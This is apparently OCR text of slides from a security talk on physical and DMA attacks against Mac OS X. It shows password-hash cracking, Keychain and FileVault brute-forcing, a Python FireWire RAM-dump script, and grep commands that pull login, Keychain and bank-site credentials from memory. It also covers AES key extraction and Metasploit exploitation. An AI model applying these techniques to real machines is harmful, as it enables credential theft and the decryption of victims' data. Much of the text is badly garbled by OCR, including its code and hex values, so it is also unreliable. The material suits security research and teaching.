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Mac market share by world region

North America 14.09%

Oceania / Australia 13.71%
Europe
Asia

{ Africa

South America

B Mac OS X market share

ata source: StatCounter Global Stats, Feb 2011

RO

Desktop OS market share in the United States, April 2011

Windows 7| 31.71%
! Windows XP Eezel 31.56%
Windows Vista [0 19.07 %
mMacos X [ 14.87%

{ Linux |§ 0.70% }

Other 2.09% '

Data source: StatCounter £ w.gingdom.com)

oy pingdom.copy
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® 1996 : Purchase of NeXT and NeXTSTEP OS by Apple

= 1996 : Come back of Steve Jobs within'Apple (left in
1985)

= 1990 : First version of Mac OS X server (1.0)

» 20071 : First version of Mac ©S X Workstation (10.0
Cheetah)

» 20006 : First Mac(Book) without PowerPC processor
and with Intel processor
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tash-3 .2# uname -an

ﬁgrnin ArnHacK.local 10.8.0 Darwin Kernel Version 10.8.0: Tue Jun 7 16:33:36 PDT 2011; root:xnu-1504.15.3~l\j-

» UNIX system
» Based on Darwin OS (hybrid kernel XNU)

n Kernel XNU is based on micro-kernel of NeXTSTEP
(Mach) and kernel-of BSD (FreeBSD)

» But Darwin doesn’t contain graphical motor “Quartz”
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Access to hard disk
through Target mode on

Firewire wire victim

IR PR RO

= During the startmg > press R
® Access not protected by default

» [Full access to the files system disk through files manager

root@ubuntu: /medig

File Edit View Termminal Help

root@ubuntu: /media# cd Macintosh\ HD/
oot utwtu /media/Macintosh HD# ls

[
Libr:
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» Single mode (press “Apple + S7)

/ 10BlockStorageDr i ver /Hi tachl HTSS4S82589SA82 Medla/10GUIDPartiti
root : diskis2, sajor 14, minor 2

com.apple. launchd 1 com.apple. launchd 1 sss launchd(1] has st

Waiting for window server before finishing bluetooth setup

'Singleuser boot -- fsck not done

‘an device |s mounted read-only

If you want to sake sodifications to files:
/shin/fsck Ty
/shin/mount -uw /

{ If you wish to boot the system:

axit

roote id

uild=8(root) gid=8(vheel) groups=8(vheel ). (doemon) 2(keen) 3(sys) 4(11
pos . —

. From live OS in USB/CD device > Press “Alt”

x From Mac OS X installation DVD > Press “C” and select
Reset Password from installer




|[dentify system users

) USGF UlD 1N /private/var/db/dslocal/indices/Default/index

Fmeavisd.plistusersFFFFEEEE-DDDD-CCCC-BBBB-AAAAO00000539[
[..]

Utest.plistusersCA7CD5C7-0D4C-40AF-9BCO0-5CF1EBAA27D5:
ijsudoman.plistusersQDF45F4D-BESO-4!C3-AOSE-045A5918084B7

g

Uroot.plistusersFFFFEEEE-DDDD-CCCC-BBBB-AAAA00000000=
1

L— i ——————

-
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Conclusion

n USGF prIVI|egeS N /var/db/dslocal/nodes/Default/groupe/admin.plist

—— A .,
# cat/private/var/db/dslocal/nodes/Default/groups/admin.plist

[.-1
string>9DF45F4D-BES0-4EC3-A03E-045A5918084B</string>
[..]

<string>sudoman</string>

|
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|[dentify system passwords i

Conclusion

» HaSheS paSSWOrdS Iﬂ /var/db/shadow/hash

POV LVEUNUTIT AU . 7 WG sy riewd i a D NU/VE su/ SNalUN/ dSIF WS LS

root root 1246 2611-83-31 67:43 9DF45F4D-BESH-4EC3-AB3E-845A59186848
root root 145 2611-67-11 19:45 9DF4ASF4D-BESH-4EC3-AB3E-B845A5918684B.5tate
root root 1246 2011-67-11 15:28 EDAABB11-887D-445E-85DB-767ACCH9DCBB

root root 145 2011-87-11 16:26 EDAABBS11-88/D-445E-85DB-76/7ACLE9DCEB.state
lCOt'dL.bL.r‘tL. /media/Macintosh HD/var/db/shadow/hash# cat EDAABB811-687D-445E-85DB-767ACC69DCEBE
) Sogo0hbeeAReARALALALARAAAARACAEERARAARALALEBALABOAEAEAGI
6EBBPERABEABAEABEEEREAEAEEEABARABEAABAEABARABOABABAB!
eepepeneBERE666666666666666666B6660666666606660686668!

» Find clear password with brute force attack (JTR)

— ey
# cat pass. txt }
sudoman:C73603BCO9E41A41A3XXXXXXEABAO18CD54F6843C02E62 1
#./john pass.txt
Loaded 1 password hash (Mac 0S X 10.4+ salted SHA-1 [32/64])
guesses: 0 time: 0:00:00:20 (3) e/s: 2273K trying: drthmd
guesses: 0 time: 0:00:00:21 (3) e/s: 2285K trying: 41809841 }

password (sudoman)
e e e R ——
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About Keychain file st
y Expleitation of user privileges

Conclusion

= Keychain file stores secrets data like : Safari passwords, WiFi

keys, Skype username/password, Google username/password (contact, Picasa),
Exchange username/password, ...

[ Iele) Trousseau d'accés

dh Cliquez pour verrouiller le trousseau session.

Trousseaux

) gession CoogleComaclSym:Sgrwce

mot de passe de I'application
Micro...ertificates
| sganama@gmail.com

Micro.. ertificates GoogleContactSyncService
session 17 avr. 2011 23:16:46
Systéme

Type Date de modificatio
Catégorie A. Exchange mot de passe de I'application 24 juil. 2011 00:15

Tous les éléments A Exchange mot de passe de I'"application 25 juil. 2011 09:45

Mots de passe A, Exchange mot de passe de I'application 25 juil. 2011 10 46E

Notes sécurisées 7% Exchange mot de passe de I'application Hier, 11:33
Mes certificats Exchange mot de passe de I"application Aujourd’hui, 10:44
Clés y Exchange mot de passe de l'application Aujourd’hui, 10:45
Certificats
KisMACWebService mot de passe de I'application 14 juin 2011 16:11
Picasa Coogle Account mot de passe de "application 19 juin 2011 09:44 :

n A e AAAA YAt

<« »

Devoteam
Compte Exchange
Description du compte : Devoteam

i m,
Informations personnelles Comptes

1] || 2k
Nom complet : Malard Arnaud : ‘ |
Général = Comptes Avan
Adresse de messagerie - | N R EEEEEEE
Comptes | Informations du compte Réglages du serveur

Authentification ﬂ »

Méthode : = Nom d'utilisateur et mot de <

Description : sganama@gmail.com
Nom d'utilisateur : sganama@gmail.com

Mot de passe | sssscssccee

Nom complet : Arnaud M

Mot de passe

Actualiser les calendriers chaque heure
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y Exploitation of user privileges

Conclusion

= [For each user, Keychain is Stored IN jusers/<vsers/ibrary/

Keychains/login.keychain

= Keychain files are protected by Keychain password

Trousseau d'accés veut utiliser le trousseau
« session ».

Veuillez saisir le mot de passe du trousseau.

Mot de passe |

® [t's possible to import any: Keychain files without know
the Keychain password

| (rousseau uaccés il Edition  Present T 1RT 8 Q
Nouvel élément de motd
Nouvel élément de note 4
Nouveau trousseau...
l , Microsoft_Entity_Certificates 20 juillet 20

A Date de modi

Microsoft_Inte...ate_Certificates 20 juillet 20
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Open Keychain files
p y Expleitation of user privileges

Conclusion

= But, you have to know “keychain” password to exploit it :(

- Yala Trousseau d'accés

i . )
i 1 Cliquez pour verrouiller le trousseau session.

Trousseaux

I gession Evernote

Namalicsatina

Micro...rtificates

Micro...rtificates
session Trousseau d'accés veut utiliser vos
informations confidentielles gardées dans

Systeme
« Evernote » de votre trousseau.

Catégorie r 5 &)\
Tous les éléments Pour autoriser ceci, saisissez le mot de passe du trousseau

« Session »
Mots de passe

Notes sécurisées y Mot de passe :  ssecsscssccs
Mes certificats .
Clés Détails

4 Certificats ' (?) ( Toujours autoriser Refuser (" Autoriser )

» By default, "keychain™ password is equal to user system
password :-)
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Open Keychain files
p y Expleitation of user privileges

Conclusion

= You can identity password in volatility data

® You can attempt identify password by brute force attack

crowbarkKC

oo

Dictionary Rewind Stop Start

~ Passware Password Recovery Kit Foréns
-

File View Tools Help

Dictionary Path: /usr/share/dict/words @ e

g)ﬁStartli’age ‘ HSaveResults = Print n_; Check for Updates ¥ Support g Help

Y

H “ i i o C:\kc_pass1234_01_extended
KeVChaln Path + /VOIUmES/HP V2 10W/|Og|n.kQYCha|n Recovery Progress Protection: Keychain - Open Password

P R Complexity: Brute-force - Slow
Status: Password Found _ 4 passwords ile: k 101 exterded

Total ti | d:
otaltime elapse Protection: Keychain - Open Password

| 0 ‘ 1 min. 52 sec. Complexity: Brute-force - Slow
e Estimated completion time:
pFOJeC[ [completed] File-Open password: [pass1234] (no brackets) <Copy>
test account name password: [name!!!!password] (no brackets) <Copy>
| ser password: [test_pass_00] (no brackets) <Copy>
Estimated Time Remaining: 000:00:00:00 Passwords Check? Axack Summary = Window Bitmap Encryption password: [J04FC580BD7FEE9354FABD84171B17A4] (no brackets)

e P SR P N =

Checking password:
[completed]
Length: [completed]

Passwords checked:

Search sneed:—
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Conclusion

= Encryption of file system (AES 128) like Bitl.ocker or
DM-Crypt

= [Full encryption from Lion version

= Only Home directory encryption for previous VErsions

= Native function from Mac OS X 10.3

= “.dmg” images an use Filevault encryption
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» Home directory without encryption

Fosh-l 2% 1s /Users/sudoman/

.CFUserTextEncoding .Cpan .;;
(.DS_Store . Cups .g
.DownloadManager .dir_colors .g
!.Trash .dropbox .91
;.Xauthority .dvdcss A;ﬁﬂ
~ Xeoda. —asd auth

= Home directory with:Filevault encryption

——— - — —

ash-3. sers/tes
est.sparsebundle
‘bash-3.2# 1s /Users/test/test.sparsebundle/

SR

Info.bckup Info.plist bands token ‘
jpash-3.2# 1s /Users/test/test.sparsebundle/bands/ !
ﬁ) V. 15d06  16d 170 174 178 17¢/

_13 16 16e 171 175 179 174

ash-T.Fcat 0 ]
’Y?#S???E?SI[&]L'It???N"?#Vul:?C??U??k???‘
; !

{ !
276727716, R772/G27m?70dLA?7? -
2):222u21E0222322222A2 __p"@2a )
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Conclusion

n FI|€V8U|t flle |S StOred Iﬂ /Users/<USER>/test.sparsebundle

= [levault files are protected by password ..

<1 juillet 2011 09:55

Saisissez le mot de passe pour accéder a

« test.sparsebundle »

APPAREILS

Mot de passe : || | Macintosh HD | Bibliothéque
__ Afficher le mot de passe | i NTFS .| Bureau

__ Mémoriser le mot de passe dans le trousseau RYP Ll Documents
L] Images

.| Musique
L] Public
L] Sites

AN 1
(s} sudoman || Téléchargements
W/ Téléchargements .| Vidéos

Annuler ) (0K ) EMPLACEMENTS
.| ARCHIVE

bt et et e e e N = NO

E Desktop

® .. and it’'s the same as <user> system password :-)

= S0, from target mode, it’s easy to decrypt this file
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Conclusion

= You can identity AES key in volatility data ...

» [|se, without access to hashes password, it Is possible to
attempt to find password by:brute force attack

M N crowbarDMG

[+] Lea folm > )

Dictionary Rewind Stop Start

w| Passware Passwora necouver Yy NILrorensic D|(t|0nary Path /USl’/ShaI’E/dlCt/WOFdS

File View Tools Help
OBack @) startPage | | SaveResults (= Print | L] Checkforl Disc Image: + /Volumes/NTFS/MAC/test.sparsebundle

C\di_fv2_qwerty 01.dmg Status: Password Found: devoteam
Recovery Progress 3 Protection: FileVault encrypted volume

Tt i Complexity: Instant Unprotection

0 passwords Volume image file: di_fv2_qwerty 01.dmg Project
Folder: C:\
1 min. 38 sec. ';:5::'5:”“” image file: di_fv2_attachedmdmp  Eegimated Time Remaining: 000:00:00:00 Passwords Checked:

Estimated completion time: Protection: FileVault encrypted volume L seem——
[completed] Complexity: Instant Unprotection

Total time elapsed:

Unprotected file: decrypted.img
Folder: C:\Users\Desktop\




=xploitation of physical memory




Introduction

Exploitation of target mode

Physical memory dump B
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= From root access, MacMemoryReader can dump RAM

ash-3.2# ./MacMemoryReader -d /tmp/dump2.mach ?
0S version is 10.6

unpacking kext from supportfiles/devmem.106x.tgz to /tmp/ramdump.nTMTvi
r loading kext at /tmp/ramdump.nTMTvG/devmem.kext
t running dtrace script supportfiles/PE_state_raw.dtrace

running sysctl -w debug.devmem.boot_args=9474048
running image command: ./supportfiles/image -o /tmp/dump2.mach -v
emory ranges read from /dev/pmap (type, offset, size in blocks):
0000000000000000 000000000000008f

ISR M-—»‘J

i
i

umber of memory ranges to write: 43
ernel version: Darwin Kernel Version 10.8.0: Tue Jun 7 16:33:36 PDT 2011; root:xnu-1504.15.3~1/RELEASE_I386

Opened /dev/mem -- starting dump ‘
mping memory regions:
vailable 0000000000000000-000000000008f000 [WRITTEN] }
CPI_NVS 000000000008 f000-0000000000090000 [WRITTEN]
lavailable 0000000000090000-00000000000a0000 [WRITTEN] }
LoaderData 0000000000100000-000000000010000 [WRITTEN] ¢
vailable 000000000010f000-0000000000200000 [WRITTEN] j
- nts, 300 Dytes (2. -= 1ignor
otal memory written: 4025065472 bytes (3.75GB)
otal memory ignored: 272658432 bytes (260.03MB) ‘
i:.unloading kext at /tmp/ramdump.nTMTv(G/devmem. kext 4
. : ~/tmolromdumn. nTMTwb

= MMR create temporary kernel extension to read /dev/
mem devices
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Physical memory dump B
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x “Sleepimage?” file contained physical memory dump for
safe mode (hibernation mode)

———me, ——
ash-3.2# 1s -ls /var/vm/
gcotal 8519680
8388608 -rw------ T 1 root wheel 4294967296 31 jul 20:32 sleepimage
1_131072 LW == ee 1 root wheel 67108864 2 aol - fil

= From full access disk; “Sleepimage” file can be viewed

= From recent versions, file is-encrypted :-)

— Sécurité

| « || Tout afficher |

[ Général - Filevault Coupe-feu

= aprés la suspension d'act

'? Exiger le mot de passe immédiatement v oL -
- lancement de I'économis:

Pour tous les comptes de cet ordinateur :
M Désactiver I'ouverture de session automatique

__ Mot de passe requis pour déverrouiller chaque sous-fenétre des Préfér

- . EXI0) d U d L e dDIre
'g Utiliser la mémoire virtuelle sécurisée

Configuration of encryption of “sleepimpage”
(root privileges to modification)

minutes d’inactivité
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Physical memory dump Hm

Conclusion

= Physical extraction ...

Tools to extract RAM > http://www.mcgrewsecurity.com
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2hysical memory dum i
y y p Exploitation of user privileges

Conclusion

» From DMA access, RAM dump is possible and EASY

= “pythonraw1394” libraries allow: to dump RAM of
WlﬂdOWS SyStem frOm LIﬂUX (2006 --Adam Boileau - Winlockpwn)

= “libforensic1394" e witherideny lHDFArIEs allow to- dump
RAM of MAC OS X from OS X or Linux

C:
Access to memory

through Victim
Firewire wire
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) I\/IA aCCGSS | ’O( ; Exploitation of physical memory
Exploitation of user privileges

Conclusion

= Using of “lioforensic13947 libraries Is very easy :-) and
allow to write code to dump RAM ...

#!/usr/bin/env python
# -*- coding: utf-8 -*-

raw_input("Enter to start")

from forensicl394 import Bus
from time import sleep

from binascii import unhexlify
from sys import argv

import os, sys

def usage():
print "Usage : " + argv[0] + " <Byte Size Mo><Outfile>"

if len(argv)!=3 :
usage ()
exit()

|# Page size, nearly always 4096 bytes
|PAGESIZE = 4096

#Arguments

#size in bytes

enddump = 1024+*int(argv([1])
fileout = argv[2]

def dumpRAM(d) :
# initiate dump file
f = open(fileout, "w")
print "Start> RAM dumping to " + fileout + "..."

print "PoC for RAM dumping with firewire and libforensicl394 library"

addr = 1%1024+%1024
while True:
#count of memory size
size=addr/2048
if size > enddump : |
print "End> RAM dumping finished to " + fileout + " (" + argv[l] + " MBytes)"
exit()
# Prepare a batch of 128 requests
| r = [(addr + PAGESIZE*i, 2048) for i in range(0, 128)]
for caddr,cand in d.readv(r):
f.write(cand)
addr += PAGESIZE * 128
f.close()

b=Bus ()
Enable SBP-2 support to ensure we get DMA
.enable sbp2()

‘sleep (2.0)

Open the first device
= b.devices() [0]

rint d

-open()

— faddr = dumpRAM(d)
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— p Exploitation of user privieges

Conclusion

ter to start
page : ./sud@.MemDu

’C”d ?/ mp . raw
\'/4- Library

Morensicl394.device.Device object at 0x8db3a4c> D}
gart> RAM dumping to dump.raw...
id> RAM dumping finished to dump.raw (48 MBytes)

http://sudOman.blogspot.fr/2011/12/video-exploit-firewire-access-against.html
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|dentify secret data
Exploitation of user privileges

Conclusion

» |dentify current username for a locked SESSION open without auto

logon)
; strings dump.raw | grep —i logname= :
,_&.OGNAME=sudoman ‘
HER _ N

» [dentify password for-a locked SesSIoN (open without auto logon)

—~—— —— -

strings dump.raw | grep -A 5 longname ;
1longname ‘

‘domsudoman

‘nanagedUser

password ‘
udo<password> }
shell ‘
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|dentify secret data
Exploitation of user privileges

Conclusion

= |dentify current username for a locked SESSION (open with auto

logon)

—— - —

strings dump.raw | grep —i logname= }
&.OGNAME=sudoman ‘\

s 4 j

» |dentify current password for a locked SESSION (open with auto

logon)

e ;—}
strings dump.raw | grep -B 2 -A 2 "builtin:authenticate,privileged" | grep admin -A 5 | grep
{UseeTags -B 1
Kpassword>
igseeTags #ﬁ strings dump.raw | grep -A 1 com.apple.launchd.peruser 2 }
*_‘com.apple.launchd.peruser.SOX !

i(password>( I

» |dentify just username for a locked session after startup

e
F strings dump.raw | grep "<string>/Users/")

i[--1
&string)/Users/sudoman/Downloads(/string>

‘kstring>/Users/test</string> }

o j
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Exploitation of physical memory

|dentify secret data

Conclusion

» A |ot of others data secret are into physical memory. like :

#example for 7zip password
<stEvt:when>2008-06-25T06:28:38+02:00</stEvt:when>
<stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>

P@ssd3cRypt
DDDM

-
example for OpenVPN (auto connection with Keychain) ’
bash-3.2# cat dump.raw | strings Igrep -i 'Password "Private Key"' -B 5 -A S5
Lucida is a registered trademark of Bigelow & Holmes Inc.
Kris Holmes and Charles Bigelow 1
AuthorityRequestType
ormat

StandardVersion
password "Private Key" "PasswordOfPrivateKey"

= Email / Calendar data
» Office documents data ?

= \Web passwords

x  Software passwords

» Keychain password

ns/login.keychain

PrintName }
378&
/Users/sudoman/Library/Cookies/Cookies.plist

PPPPPPPP

#example for Keychain
bash-3.2# cat test.raw | strings Igrep -i "login.keychain" -A 7

#example for Google CalDAV
icat.com/cr1/ACCERTINOMISSSL.crl

sganama@gmail.com:<password> ‘
(c2dhbmFtYUBxxxxC5jb206Y2hpZ25vbGUmNTE = ‘
}

/Users/sudoman/Library/Keychains/login.keychain
reason

tries

password

PasswordOfKeychain

textureCube(sCl;vf3;f1;

realm
>wAW
3]\z

e i
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|dentify secret data
Exploitation of user privileges

Conclusion

. AES 128 key used for Filevault encryption can be found
iInto physical memory and allows to::

= Decrypt encrypted home directories and: full encrypted disks (Lion version)
= |dentify secret data in hard disk (like system passwords)

= Unlock system

n AESKeyfind tool can extract AES keys
-Gump-cmd.dmp 7

KEY:
13caba?09323b75a7c49b3120e6621ec27i5897ccca378a7c191déaaeb37942ef ‘

- & B e o E -No’
UND POSSIBLE 256-BIT KEY AT BYTE 174008

ENDED KEY:

aba?09323b75a7c49b3120e6621ec27158%97ccca378a7c191dbéaaeb37942ei8b877664b9bc03c37d273 '

2e39b452c216b36e631a10146c4db81c06e30b65440cc49c884i7d208b8c0007b96f7b42954e7flaccledel |
(ba0536607a6b06db2e2bcbalded7 317246 611723d1908c 614ade 1bi51a03cS5eeba50a3e?1celce8bleS5cSh
bia7{8489bc1075/81e97d3d954497dc03a38b82e80681bc79c88d54c62d46615efib2e8e2efc 7136 306ba2
§6422471179abfi3119c3e4f6654b31bal79ib2d0343c 9c5el acledbé82aabii874e89c 30856 0c 3c 39afcid8ct

ca84e975cd1bbféd?b22i33381e21e5bab4951dce5c0 ‘

— o e S
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» Passware Kit 11.3 can extract and exploit the found keys

cCO O s PDPDO cip
Quick Sta R 0 Pas ord O
H pro d 0 pa ord 0
R O O 0 ! » ofrd
O D ord O . O O O . O
R 0o U » O » S OIc
a bootab D-RO E E do d ator pa ord
O 2 0 '
O P Oor pro d
p
B seseseses
>
pe . :
M . 2 4
N:N~~~N:N~ ~ :u: M A Recover encryption keys or passwords to unlock BitLocker and TrueCrypt hard drives,
%ot 0, pe 4 pe oo
S e sts%s%5%:%:%:%° ileVault, and Mac users.
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Exploitation of target mode

|dentify secret data
Exploitation of user privileges

Conclusion

= POC to identify Web and software passwords

rnHacK:~sudoman$ ./cazzﬁlstrlng-4mac_0.1.py dump-ram.str
[arget :
1: https://www.facebook.com
2: https://www.linkedin.com
3: http://www.viadeo.com abCibles=|[ — T
4: https://twitter.com
5: https://mail.google.com { : '
6: http://imp.free.fr : ’
7: http://zimbra.free.fr : AR RIRE RSN
8: http://vip.voila.fr ] '
' 9: http://1d.orange.fr },
10: https://www.sfr.fr { ,
'11: https://www.espaceclient.bouyguestelecom. fr g 2
12: https://login.live.com
13: iTunes Apple Store } : : .
14: https://signin.ebay.fr f } * !
15: https://www.priceminister.com {' : ,
16: https://www.amazon.fr . , |
17: https://clients.cdiscount.com : <‘J
18: https://www.fnac.com 2
19: http://espace-client.voyages-sncf.com

20: http://fr.vente-privee.com

(21: http://www.pixmania.com

|ZZ: http://client.rueducommerce.fr

| 23: https://www.paris-enligne.credit-agricole.fr |

;24: https://www.labanquepostale.fr {

‘ZS: https://www.secure.bnpparibas.net l

IZ6: https://www.professionnels.secure.societegenerale.fr 1
27: https://entreprises.societegenerale.fr

28: https://particuliers.societegenerale.fr

29: https://www.bred.fr

30: https://www.caisse-epargne.fr

31: https://particuliers.secure.lcl.fr |

32: https://espaceclient.groupama.fr |

33: https://www.hsbc.fr

34: https://www.cic.fr

Choice (666 for all) :
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‘ d e nt iw S eC ret d a't a Exploitation of physical memory

Exploitation of user privileges

Conclusion

» POC to identify Web and software passwords

hoice (666 for all) : 666 B
bearch all credentials :
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Exploitation of target mode

|dentify secret data
Exploitation of user privileges

Conclusion

» POC to identity Mac OSX passwords

rnHack : ~sudoman s ./CdtchApple-strIngBflfﬁy dump-ram.str.str “}
arget
1: Apple Credentials - login/password for cked session without autologor
2: Apple Credentials - login/password for cked session with autologon
3: Apple Credentials - login for locked session after startup h
; 4: Keychain login - password )
| - -
5: Outlook client - domain credentials F
hoice (666 for all) : e
o abCibles=[{ !
4 R R A PR R S IR R R I e TR SNy,
) & ’ )
y ¢
{ 1
; !
: }l {
s i




Introduction

Exploitation of target mode

‘ d e nt iw S eC ret d a't a Exploitation of physical memory

Exploitation of user privileges

Conclusion

» POC to identify Mac OSX passwords

hoice (666 for all) : 1 24
hearch credentials : Apple Credentials - login/password for locked session without autologon

| |
Choice (666 for all) : 5 ‘
'Search credentials : Outlook client - domain credentials
ININDONS DOMAIN : |
ININDOWS USERNAME : 1
WEBMAIL SERVER (ex:webmail.domain.com)
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Exploitation of target mode

‘ d e nt iw S eC ret d a't a Exploitation of physical memory

Exploitation of user privileges

Conclusion

» |S it possible to extract secret data when full encryption is
activated (Lion version) by DMA ‘access 7?2

YES !
but NO if :

»  System is not started (pre-boot authentication screen)

»  System is hibernated in forcing to remove power from RAM (hibernatemode=25)
AND the parameter to remove filevault keys in RAM is activated
(destroyfvkeyonstandby=1)
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Exploitation of target mode

Writing physical memory Hm

Conclusion

= .. 1o bypass session password with “libforensic1394”
libraries !

= put ... it doesn’t work :=(

root@sudoman:~/Bureau/libforensic1394/forensic1394/python# ./winlocknew.py 41BFF
6C8FFFF48(C78588 41BFO000000048C78588 1999

Usage : ./patch.py signature patch offset

Signature/Patch/0ffset XP SP3 (x86) > 83F8107511B0018B 83F8109090B0018B 2218
Signature/Patch/0ffset 7 (x86) > 83F8107513B0018B 83F8109090B0018B 2342

Signature/Patch/0ffset 10.6.4 (Intel 64-bit) > 41BFF6C8FFFF48(78588 41BF00000000
4878588 1999

<forensicl394.device.Device object at 0x874194c>
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Exploitation of target mode

Wri.ti n g p hy S i C al m em O ry Exploitation of physical memory

Exploitation of user privileges

Conclusion

® |nception tool preaknenterorg) Will INClude options to bypass
password screen but are not still implemented

— . S~

————

= Actually, |'search the go’od sighature for 10.6 and 10.7

L 0.0 .0 0.1 L
X CDSLocalAuthHelper.cpp

RETURNS: tDirStatus final result of the authentication

ler has an tional para =1in0KToChangeAuthAuthorities=.
to TRUE L from

to make cha

tDirStatus CDSLocalAuthHelper::DoShadowHashAuthl
tDirModeReference inMNodeR
CDSLocalAuthParams &inParams,

tContextData #inlutCentinueData,

tDataBufferPtr inAuthData,
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Exploitation of target mode

And Thunderbolt port... - S

® | ke firewire port (with-adapt

and so can be exploited :-

H’

« PCl Express™ ==

veow

DisplayPort ==

Conclusion

- PCl Express -

¥
§

<~ Thunderbolt™ Cable - .. e

DisplayPort ==

Thunderbolt Thunderbolt

CAantrnllar Fans-~"

|

|
}

enn
¥ Hardware
ATA
Audio (Built In)
Bluetooth
Card Reader
Diagnostics
Disc Burning
Ethernet Cards
Flbre Channe
FireWire

Graphics/Displays

Hardware RAID
Memory
PCI Cards
Parallel SCSI
Power
Printers
SAS
Serial-ATA
Thunderbolt
uss

¥ Network
Firewall
Locations
Modems
Volumes
WWAN
Wi-Fi

¥ Software
Applications

MacBook Pro
FireWire Device Tree
FireWire Bus
¥ FireWire Bus

Juju:

Manufacturer Linux Firewire
Model Ox1
CuID Ox374FCO002681EA21
Maximum Speed Up to 400 Mb/sec
Connection Speed: Up to 400 Mb/sec
Sub-units
1Pva:
Unit Software Version: 0Ox1
Unit Spec ID. Ox5E
Juju Unit:
Unit Software Version: 0x10483
Unit Spec 1D O0x609E
Firmware Revision 0xA2700
Sub-units
Juju SBP-LUN:

& Carsten's MacBook Pro + Hardware » FireWire » FireWire Bus




=xploitation of user privileges
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Exploitation of target mode

Exploitation.of physical memory

Obtain system user access

Conclusion

= From physical access

= |dentify trivial password
= Exploit DMA access, single mode, ...

»  Exploit auto logon session for the first configured user (root privileges by default)

x From remote access

= |dentify services and usernames-from mDNS service (UDP/5353) of Bonjour (or
“Zeroconf”) service

User Datagram Protocol, Src Port: mdns (5353), Dst Port: mdns (5353)
-home-snanng._tcp. - 2 Domain Name System (response)
Bibliothéque de « NG »
Bibliothéque de « sudoman » | 00 fb 14 e9 14 e9 01 22 d7 98 00 00 84 00 00 0O
[fe80::1]:3689 00 O7 OO0 00 00 04 07 73 75 64 6f 6d 61 6e 05 Sf
| 68 74 74 70 04 5f 74 63 70 05 6¢c 6f 63 61 6¢ 00 http._tc p.local.
00 10 80 01 00 00 11 94 00 of EENECIGIRLNERE:

ERERATGEIGN] 0o ST 73 65 72 76 69 ENGELERINI. servi
~g —F =, e A . -

AR e A 72 g A cf e mA N

2.168.12.1:3689
txtvers=1
hQ=262 |
dmv=131080 [ YHTTE t_nttp._tcp‘) -2
iTSh Version=196616 ¥ sudoman
MID=0x4EE6BF75226063C [fe80::1):80

PrVs=65538 | 172.16.183.1:80

Database ID=4E2D1BCDAED4A452 -
0Ssi=0x1F5 192.168.12.1:80

Version=196619 192.168.253.5:80
Machine Name=Bibliothégue de « sudoman » b path=~sudoman/
hG=0.0000000—31:!57—565&—521a—25.1f4735440a test2

. e lD_£944818DR
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Exploitation of target mode

Obtain system user access

Conclusion

® From remote access

» By common “server side” vulnerabllities like SMB; SSH, WEB; ...

= By “client side” vulnerabilities of Safari, iTunes, iChat, Quicktime, Skype, ...

Webkit, 9 _Flash Player, 8 QuickTime, 6
RealPlayer, lk | Ry

Internet Explorer, 32 ___

Opera, 6

Google Chrome, 76

Shockwave __
Player, 35

Sun Java

Microsoft Office, 57

Top 13 wvulnerabilities in 2010
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Exploitation of target mode

Obtain system user access

Conclusion

® From remote access

» By common “server side” vulnerabllities like SMB; SSH, WEB; ...

= By “client side” vulnerabilities of Safari, iTunes, iChat, Quicktime, Skype, ...

() support.apple.com/kb/HT1222%iewlocale=en_US

Security updates

Can't open lllustrator & InDesign : A
Name and information Release
Released for

Brother laser loses and finds USB. link MS and App|e are affected date
No MS Office apps after Security A S e N B e e )

14 Nov
2011

Server Admin Tools freezing i iTunes 10.5.1 Mac OS X v10.5 or later, Windows 7, Vista, XP SP2 or later

Applications will not minir
AirPort Extreme Base Station with 802.11n, AirPort Express Base Station with 802.11n, 10 Nov
Time Capsule 2011

Just Apple is affected
perea. 105 3.0 through 5.0 for iPhone 3CS, iPhone 4 and iPhone 4S, i0S 3.1 through 5.0 for iPod

touch (3rd generation) and later, iOS 3.2 through 5.0 for iPad, iOS 4.3 through 5.0 for
iPad 2

10 Nov
2011

wApple is not affected
' Mac OS X v10.6.8, Mac OS X v10.7.2

Windows 7, Vista, XP SP2 or later

Security updates for Apple products
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Obtain system user access

Conclusion

» “exploit-db.com” stores a lot of remote exploits
2011-10-17 & ~ 4342
, 20100405 § L 4 570 ‘7
| 20101009 & v 452 ‘
‘ 2010-10-09 § L 4 375 |
}- 20100920 § " 4 343 !
20110108 § 4 719 }
[20100920 n i o 491 j

Sample of remote exploits for Mac 0OS X

» “exploit-db.com’ stores 15 remote exploits for Mac OS
X platform from 2010 and 145 remote exploits for
Windows platform from 2011

» \ost of vulnerabillities are due to a third party soft
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Exploitation of target mode

Obtain system user access

Conclusion

» | ike others OS, “Metasploit” allows to easy execute

code under the context oi _tﬂ_h_yemuser' EHE

Name: Apple Safari file:// Arbitrary Code Execution
Module: exploit/osx/browser/safari_file_policy
Version: 13975
Platform: Unix, 0SX, Java
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal

exploit(

Provided by:
Aaron Sigel
i sinn3r <sinn3r@metasploit.com>

vailable targets:

Id Name

® Safari 5.1 on 0SX

1 Safari 5.1 on 0SX with Java

- —

asic options:

Name Current Setting Required Description
y HTTPPORT 80 yes The HTTP server port
SRVHOST 0.0.0.0 yes The local host to listen on. TH
SRVPORT 21 yes The local port to use for the §
SSL false no Negotiate SSL for incoming con
[ SSLCert no Path to a custom SSL certifica
‘ SSLVersion SSL3 no Specify the version of SSL tha
URIPATH no The URI to use for this exploi

ayload information:
Avoid: @ characters )

escription:
This module exploits a vulnerability found in Apple Safari on 0SX

platform. A policy issue in the handling of file:// URLs may allow
arbitrary remote code execution under the context of the user. In
order to trigger arbitrary remote code execution wa

Satarl exploit > cve-2011-3230
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Exploitation of target mode

Exploitation.of physical memory

User privileges escalation

Conclusion

= Previously, if you obtain root privileges
= You can execute a lot of operation (Cf. Exploitation of target mode)

= put password can be useful ...

= Previously, If you obtain user privileges

= You can attempt to extract secret data into data or system file (personal data,
stored password into-txt file, emails; ...)

= You can attempt to identify vulnerabilities of configuration or software

= You can attempt to exploit native Mac OS X functions
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Exploitation of target mode

=xploit Mac OS X vulnerabilities .o

Conclusion

= \/ulnerabilities exploitation is more difficult with- ASLR
from Leopard 10.3 version (full ASLER from Lion 10.7)

® “exploit-db.com” stores a lot of local root exploits

2005-10 -  kext local P 627:-7
20091002 § - 712
20091105 8§ - 717

| 20090608 § - 875 ‘
20090323 & v 861

s i |
}' 2007-12-19 & v 469 !

{ 20070530 & v 495 {
20070525 8§ - o 486 ¢
20070319 § - o 487 J

Sample of local root exploit updates for Max 0OS X

= 44 |local exploits for Mac OS X from 2003 and 220 for
